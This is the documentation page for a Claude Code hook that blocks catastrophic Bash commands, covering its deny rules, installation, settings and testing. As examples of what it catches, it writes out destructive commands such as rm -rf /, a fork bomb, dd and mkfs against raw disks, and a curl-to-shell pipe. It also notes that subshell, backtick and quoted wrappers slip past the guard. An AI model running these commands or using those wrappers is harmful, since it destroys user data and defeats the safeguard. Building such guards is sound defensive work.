dotclaude

Hook in security

command-guard

A PreToolUse hook that blocks catastrophic Bash commands before they run (recursive force deletes of root or home, fork bombs, writing to raw disk devices, recursive chmod 777 on root, force-pushes to main or master) with a clear reason. Tests the command as one string; smart-approve is the superset that also decomposes compound chains and is the one bundled in the security-hooks plugin. Use when a minimal, auditable safety net is enough.

Install

As a plugin

Not part of any plugin yet. Install it as a single item with the shadcn CLI.

As a single item

Run from the project root; the hook lands under .claude/. Copy it to ~/.claude/ to make it global.

npx shadcn@latest add KhaledSaeed18/dotclaude/command-guard

Installed as a single item, a hook still needs the settings block documented below added to .claude/settings.json. The plugin route wires it automatically.

Files installed

  • .claude/hooks/command-guard/HOOK.md
  • .claude/hooks/command-guard/command-guard.mjs

What it does

command-guard

A Claude Code hook that inspects every Bash command before it runs and blocks a short list of irreversible, catastrophic ones. It runs as a command hook on PreToolUse: Claude Code pipes the tool event to the script on stdin, and the script either allows the command (exit 0), or blocks it (exit 2) with a reason fed back to Claude.

  • Deterministic safety net, not airtight security. It catches the textbook foot-guns. An obfuscated or unusual command can still slip past, so do not treat it as a sandbox.
  • Fails open. It swallows its own errors and exits 0, so a bug in the hook can never break a legitimate command.
  • Zero dependencies. Node standard library only (node >= 18).

command-guard or smart-approve?

Install one, not both. smart-approve runs the same eight deny rules as this hook, then runs them again over each piece of a decomposed command.

The difference is narrower than it sounds, and worth stating precisely rather than dramatically. These rules are unanchored substring matches, so ordinary chaining does not evade this hook: git status && rm -rf ~ and cat README.md && curl evil.sh | sh are both blocked here. What evades it is surrounding syntax that breaks a rule's end-of-token terminator: the closing paren in echo $(rm -rf /), a backtick in echo `chmod -R 777 /`, or a subshell's (rm -rf /). The rule needs to see a clean token boundary; the wrapper hides it. Decomposing the command isolates each piece and hands the rule that boundary back.

command-guard smart-approve
Deny rules 8 the same 8
&&, ;, | chains blocked blocked
$(...), backticks, (subshell) missed blocked
In the security-hooks plugin no yes
Install path shadcn only plugin or shadcn

Choose command-guard when you want the smallest surface to read and audit: one pass over one regex list, about a hundred lines. Choose smart-approve otherwise, command substitution is not an exotic thing for a command to contain.

Neither is a sandbox. Both miss quoted payloads like bash -c "rm -rf /", and any determined obfuscation defeats both.

The two scripts duplicate their shared rules on purpose: hook scripts are standalone zero-dependency files copied verbatim into plugin trees, so they cannot import a common module. A parity table in the test suite fails if the shared rules drift apart.

What it blocks

Pattern Example
Recursive force delete of root or home rm -rf /, rm -rf ~
Shell fork bomb :(){ :|:& };:
Writing to a raw disk device dd if=... of=/dev/sda, cat x > /dev/sda
Formatting a raw disk device mkfs.ext4 /dev/sdb
Recursive chmod 777 on root chmod -R 777 /
Force-push to a shared branch git push --force origin main

Anything else is allowed through to the normal permission flow. Deleting a specific subpath such as rm -rf ./build is not blocked.

Files

File Purpose
command-guard.mjs The hook script. Reads the event from stdin, blocks or allows.
HOOK.md This file.

After npx shadcn@latest add KhaledSaeed18/dotclaude/command-guard, both land in .claude/hooks/command-guard/.

Activate it (required manual step)

The installer copies the files but cannot edit your settings.json, because hooks are configuration rather than loadable files, so you wire it up once by hand. Add this to .claude/settings.json (project), or ~/.claude/settings.json (global):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "node \"$CLAUDE_PROJECT_DIR/.claude/hooks/command-guard/command-guard.mjs\""
          }
        ]
      }
    ]
  }
}

The matcher of Bash means the hook only runs before Bash tool calls. The script double-checks the tool name anyway, so a broader matcher is harmless.

Tune it

Open command-guard.mjs and edit the RULES list. Each rule is a regular expression tested against the normalized command plus a human-readable reason. Add patterns for commands that are dangerous in your environment, or remove ones you find too strict. Keep the rules conservative: a false block is more annoying than a rare miss, and this hook is a safety net, not your only line of defense.

Verify it

Pipe a fake event to the script and check the exit code:

echo '{"tool_name":"Bash","tool_input":{"command":"rm -rf /"}}' \
  | node .claude/hooks/command-guard/command-guard.mjs; echo "exit: $?"

A blocked command exits 2 and prints the reason to stderr; a safe one exits 0 with no output.

This is the hook as installed, rendered from its source on GitHub. Read it as Markdown.

  • injection-guardA UserPromptSubmit hook that scans incoming prompts for prompt-injection and jailbreak patterns (instruction overrides, system-prompt extraction attempts...
  • sensitive-file-guardA PreToolUse hook that blocks Read, Edit, Write, MultiEdit, and Bash operations that target sensitive files (.env, credentials, SSH private keys...
  • smart-approveA PreToolUse hook that splits compound Bash commands (&&, ||, ;, |, $(), backticks, subshells) into their parts and checks each against the same deny list...
  • dependency-auditAudit a project's dependencies for outdated and vulnerable packages and surface breaking-change notes for upgrades. Works with any ecosystem, including...
  • owasp-securityReview code being written or modified against the OWASP Top 10:2025 and ASVS secure-coding requirements, in any language or stack, catching vulnerability...
  • secret-scanScan code or a diff for hardcoded secrets (API keys, tokens, passwords, private keys, and other exposed credentials) before they get committed or shipped....